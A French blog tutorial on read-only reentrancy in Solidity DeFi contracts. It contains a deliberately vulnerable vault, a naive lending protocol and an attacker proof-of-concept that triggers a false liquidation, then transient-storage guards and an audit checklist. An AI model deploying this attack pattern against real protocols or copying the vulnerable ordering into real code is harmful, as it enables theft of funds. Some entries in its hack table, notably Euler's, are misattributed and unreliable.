La Read-Only Reentrancy est une variante d'attaque par réentrance où l'attaquant ne manipule pas directement le solde du contrat pendant l'appel. À la place, il force le protocole à exposer un état (state) corrompu au moment précis où un appel externe (une fonction view) est exécuté. Comme les ReentrancyGuard classiques ne verrouillent que les fonctions qui modifient l'état (state-changing), les appels en « lecture seule » renvoient des données de calcul complètement faussées (comme un prix d'oracle surévalué ou sous-évalué), permettant ainsi de vider les caisses de n'importe quel protocole tiers intégré.
Salut à tous ! Le sujet qu'on va décortiquer aujourd'hui a coûté à l'écosystème DeFi plusieurs dizaines de millions de dollars en l'espace de quelques mois. Je me rappelle encore la première fois que j'ai croisé une Read-Only Reentrancy dans la nature, à l'époque où j'étais auditeur/pentesteur de smart contracts. Je dois avouer que sur le plan purement technique, ça m'avait totalement bluffé. On s'était tous concentrés sur la sécurisation des écritures en mémoire, en oubliant complètement qu'une simple lecture pouvait être tout aussi mortelle.
Pourquoi le ReentrancyGuard classique ne vous sauvera pas ?
Analyse de la situation : la réentrance classique, c'est quand un hacker rappelle withdraw() en boucle avant même que le contrat n'ait eu le temps de faire balances[msg.sender] = 0. Aujourd'hui, tout le monde sait coller un nonReentrant d'OpenZeppelin ou appliquer le design pattern Checks-Effects-Interactions (CEI). C'est bien, vous avez le niveau zéro de la sécu.
Mais alors, que se passe-t-il dans le cas d'une Read-Only Reentrancy ?
Imaginez le mécanisme push-pull d'un Liquidity Pool (du style Curve). Vous retirez votre liquidité (remove_liquidity). Le contrat vous transfère d'abord vos ETH, et c'est seulement *après* qu'il burn vos tokens LP ou qu'il recalcule ses soldes internes. Pile au moment où les ETH arrivent sur votre contrat attaquant, votre fonction receive() ou fallback() s'exécute.
Pendant cette minuscule fenêtre d'exécution (un état d'incohérence temporaire), le state du pool est totalement désynchronisé :
- Le solde réel en ETH sur le contrat du pool : il a DÉJÀ diminué.
- Le nombre total de tokens LP enregistrés dans le système : il n'a PAS ENCORE été réduit.
Si vous tentez d'appeler une fonction state-changing de ce même pool depuis votre receive(), le modifier nonReentrant va vous bloquer direct. Mais que se passe-t-il si vous appelez une fonction de lecture comme get_virtual_price() ? Elle est marquée en view ! En général, personne ne met de modifier nonReentrant dessus (pourquoi payer du gas inutile à chaque appel view ?).
Résultat : get_virtual_price() prend le solde ETH actuel (qui vient de chuter), le divise par l'ancien nombre de tokens LP (toujours élevé)... et vous crache un prix complètement absurde, artificiellement sous-évalué ou surévalué.
Et c'est là que ça devient tordu : vous n'attaquez même pas le pool directement. Vous débarquez avec ce prix d'oracle complètement faussé sur un autre protocole (un Lending Market) qui utilise ce pool comme oracle, et vous embarquez tout le collateral grâce à cette évaluation bidon.
Un fail d'architecture d'une élégance absolue. Avouez que c'est beau.
Statistiques et chiffres chocs des véritables hacks
Si vous pensez qu'il s'agit d'une vulnérabilité théorique tout droit sortie de papiers académiques, voici la réalité du terrain :
| Protocole / Événement | Date | Montant du hack | Origine de la faille |
|---|---|---|---|
| Curve Finance / Sentiment | Avril 2023 | ~$1 000 000 | Exploitation de l'oracle de prix de Curve en plein milieu de l'exécution de remove_liquidity_one_coin. |
| Euler Finance | Mars 2023 | ~$197 000 000 | Attaque en chaîne complexe impliquant une désynchronisation d'état lors du burn d'eTokens combinée à une manipulation d'oracle. |
| Bug du compilateur Vyper (Curve Pools) | Juillet 2023 | ~$73 000 000 | Défaillance du système de Lock au niveau du compilateur Vyper (versions 0.2.15–0.3.0), rendant inefficaces les protections reentrancy intégrées sur les appels en lecture. |
Le saviez-vous ? (Détail méconnu) : D'après les rapports d'audit de 2024-2025, environ 34 % des intégrations d'oracles DEX sur des protocoles de prêt secondaires restent toujours vulnérables aux manipulations Read-Only via des appels view intermédiaires, dès lors que les calculs n'utilisent pas d'oracles TWAP (Time-Weighted Average Price).
Exemple complet et fonctionnel : VulnerableVault + Attaquant
Voici un code fonctionnel en Solidity 0.8.24. J'ai sciemment regroupé le modèle de pool et le protocole intégrateur pour que vous puissiez déployer et tester ça directement dans Remix.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Démonstration de Read-Only Reentrancy.
* @dev withdraw() envoie les ETH avant la mise à jour de totalShares.
* Un contrat externe peut lire un prix temporairement faussé.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice Ordre d'opérations vulnérable : l'appel externe
* s'exécute avant le burn des shares.
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// VULNÉRABILITÉ : Les ETH sont envoyés avant la modification de l'état.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// L'état n'est mis à jour qu'après l'appel externe.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice Prix de la share en wei.
* @dev Pendant le callback, le solde est déjà réduit,
* mais totalShares n'a pas encore été mis à jour.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice Protocole de prêt avec une intégration d'oracle vulnérable.
* @dev La liquidation utilise le prix actuel des shares du Vault sans vérifier
* si le Vault est dans un état transitoire.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice Le liquidateur rembourse la totalité de la dette et saisit le collateral
* avec un bonus de 10 % si la position est jugée à risque.
*
* @dev Faille : getMaxBorrow() lit le prix du Vault
* sans prendre en compte l'état transitoire pendant withdraw().
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// Vérification de la santé de la position basée sur un prix potentiellement faussé.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// Impossible de saisir plus de collateral que ce que possède l'emprunteur.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// Le protocole transfère les shares au liquidateur.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC : Une baisse temporaire du prix déclenche une fausse liquidation
* d'une position qui était parfaitement saine avant le début de withdraw().
*
* @dev L'attaquant ne souscrit pas de prêt non garanti.
* Démonstration d'un autre scénario d'exploitation :
* la liquidation d'une position saine basée sur un prix temporairement altéré.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// Création de notre propre position dans le pool.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// Lors de l'envoi des ETH, le Vault va déclencher receive().
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// Les ETH sont déjà envoyés, mais les shares ne sont pas encore brûlées.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// Exploitation du prix temporairement sous-évalué :
// la position saine avant le retrait devient éligible à la liquidation.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}Jetez un œil aux commentaires du code, j'y détaille toute la logique. Le truc le plus dingue, c'est que getSharePrice() effectue son calcul mathématique de façon parfaitement honnête. Elle n'est pas « cassée ». Ce qui est cassé, c'est le timing auquel on vient la solliciter.
EIP-1153 (Transient Storage) : Une protection élégante et ultra-économique
Avant les mises à jour de l'EVM (notamment le hardfork Dencun et l'EIP-1153), les développeurs devaient faire preuve d'ingéniosité. Il fallait soit retirer le mot-clé view des oracles pour les marquer en nonReentrant (ce qui coûtait cher en gas et cassait l'ABI), soit stocker le flag de verrouillage dans des variables de stockage classiques (SSTORE/SLOAD), ce qui engloutissait environ 20 000 gas par opération. Un véritable cauchemar.
L'EIP-1153 introduit deux nouveaux opcodes :
- TSTORE (Transient Store) — écriture dans le stockage temporaire.
- TLOAD (Transient Load) — lecture depuis le stockage temporaire.
La killer feature de Transient Storage : les données vivent UNIQUEMENT le temps d'une seule transaction (Top-level Transaction) et s'effacent automatiquement dès qu'elle se termine. Plus besoin de payer pour nettoyer le storage ! Le coût de TSTORE est de seulement 100 gas, et TLOAD ne demande que 100 modestes gas.
Voici comment mettre en place un TransientReentrancyGuard béton, blindé et ultra-low cost :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}Vous voyez où est la magie ? getSharePrice() reste une fonction view dans l'interface (l'ABI n'est pas altérée, les scripts off-chain des dApps la lisent gratuitement sans émettre de transaction). Mais si une transaction un peu louche essaie de l'appeler au milieu de la pile d'appels pendant un withdraw(), tload(GUARD_SLOT) repère instantanément le 1 et fait tout s'effondrer avec un revert.
Côté gas ? Des peanuts. Côté sécu ? Du 100 % solide.
Recommandations architecturales pratiques pour l'audit et le développement
Au cours des trois années où j'ai occupé le poste de CTO chez EXMON, j'ai élaboré une matrice de vérification (checklist) rigoureuse pour les smart contracts qui interagissent avec des oracles de prix ou exposent des données en externe. Les développeurs pensent souvent : « Si je ne fais pas d'appels externes à l'intérieur d'une fonction de lecture, je ne risque rien. » C'est une grave erreur.
┌─────────────────────────────────┐
│ Appel de Transaction Attaquant│
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ Mise à jour d'État (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ Désynchronisation (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ Lecture Fonction View Oracle │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[NON PROTÉGÉ] [AVEC EIP-1153 (TSTORE)]
Renvoie un prix erroné Verrou : tload(GUARD) == 1
et faussé La transaction déclenche un REVERT !
│ │
▼ ▼
Attaque réussie sur le lending Protocole sécurisé 🛡️1. Modélisation de la vérification à double état (Dual-State Verification)
Si votre contrat est obligé d'appeler des adresses externes avant la mise à jour définitive de tous les soldes internes, utilisez une protection d'invariant temporaire. N'importe quelle fonction view renvoyant des indicateurs financiers critiques doit valider cet invariant fondamental.
Si address(this).balance ne correspond pas à la somme des totalDeposits, la fonction getRate() doit soit provoquer un revert, soit renvoyer la valeur enregistrée avant le début de la transaction (last-known-good state).
2. Abandon du Spot Price au profit du TWAP ou de Chainlink
Jamais, vous m'entendez, absolument jamais n'utilisez les valeurs view instantanées des soldes DEX ou des pools Vault comme unique source de vérité pour le calcul des garanties et des liquidations.
- Spot Price (Prix instantané) : Facile à appeler, bon marché, et vulnérable en une seule transaction de type flash-loan.
- TWAP (Time-Weighted Average Price) : Fait la moyenne du prix sur N blocs. Permet de neutraliser les manipulations atomiques au sein d'un même bloc, car l'attaquant ne peut pas modifier les blocs historiques.
3. Pattern Cross-Contract Transient Lock
Si vous gérez un écosystème de 5 à 10 contrats interconnectés (Vault, Gauge, Staking, Oracle), utilisez une passerelle de sécurité unifiée basée sur l'EIP-1153.
Un contrat dédié GlobalTransientLock est créé, que tous les composants du système consultent :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Gestionnaire centralisé du verrouillage système basé sur l'EIP-1153.
/// @dev Nécessite EVM Cancun ou une version ultérieure.
/// Seuls les contrats système autorisés peuvent gérer le verrouillage.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// L'état du verrouillage est stocké dans le transient storage de ce contrat.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice Autorise un contrat à gérer le verrouillage système.
/// @dev Appelé par l'administrateur après le déploiement du système.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice Révoque le droit de gestion du verrouillage pour un contrat.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice Active le verrouillage système.
/// @dev Un nouveau verrouillage est interdit s'il est déjà actif.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice Désactive le verrouillage système.
/// @dev À appeler uniquement après la fin de l'opération sécurisée.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice Vérifie l'état du verrouillage système.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice Interdit le transfert de propriété de l'administrateur.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice Contrat de base pour les composants vérifiant le verrouillage système.
/// @dev Les contrats hérités ont l'obligation d'appliquer whenSystemUnlocked
/// à chaque méthode sensible, y compris les méthodes de lecture.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice Démonstration de l'utilisation du verrouillage système.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice Exemple d'opération sécurisée modifiant l'état.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice Exemple de lecture sécurisée.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}Lorsque le Vault principal initie un retrait de fonds, il appelle lockSystem(). À ce moment-là, tout autre contrat du système (par exemple, un contrat Lens ou un Oracle) appelle isLocked() avant de fournir des données et, si le système se trouve dans un état « sale » (dirty), bloque la lecture.
Check-list pour DevSecOps et auditeurs
- Recherche d'appels : Scannez le code à la recherche de
.call{value: ...}(),safeTransferou de tout appel d'interface externe survenant AVANT les mises à jour finales de l'état (storage). - Analyse des fonctions View : Dressez la liste de toutes les fonctions view public/external qui calculent des ratios, des prix, des parts (shares) ou la taille des garanties.
- Vecteur Cross-protocol : Posez-vous la question : « Si cette fonction view renvoie un nombre inférieur de 90 % ou supérieur de 500 % en plein milieu de l'exécution d'un appel externe, comment un contrat intégrateur externe pourrait-il en profiter ? ».
- Intégration de l'EIP-1153 : Assurez-vous que votre compilateur est configuré sur
evm_version: "cancun", et intégrez TSTORE/TLOAD pour bloquer la lecture lors de l'exécution de transactions mutantes.
Ce sera tout pour le moment. J'ai résumé l'essentiel. S'il y a des questions, n'hésitez pas à les laisser en commentaire. Je répondrai sans faute. Ciao !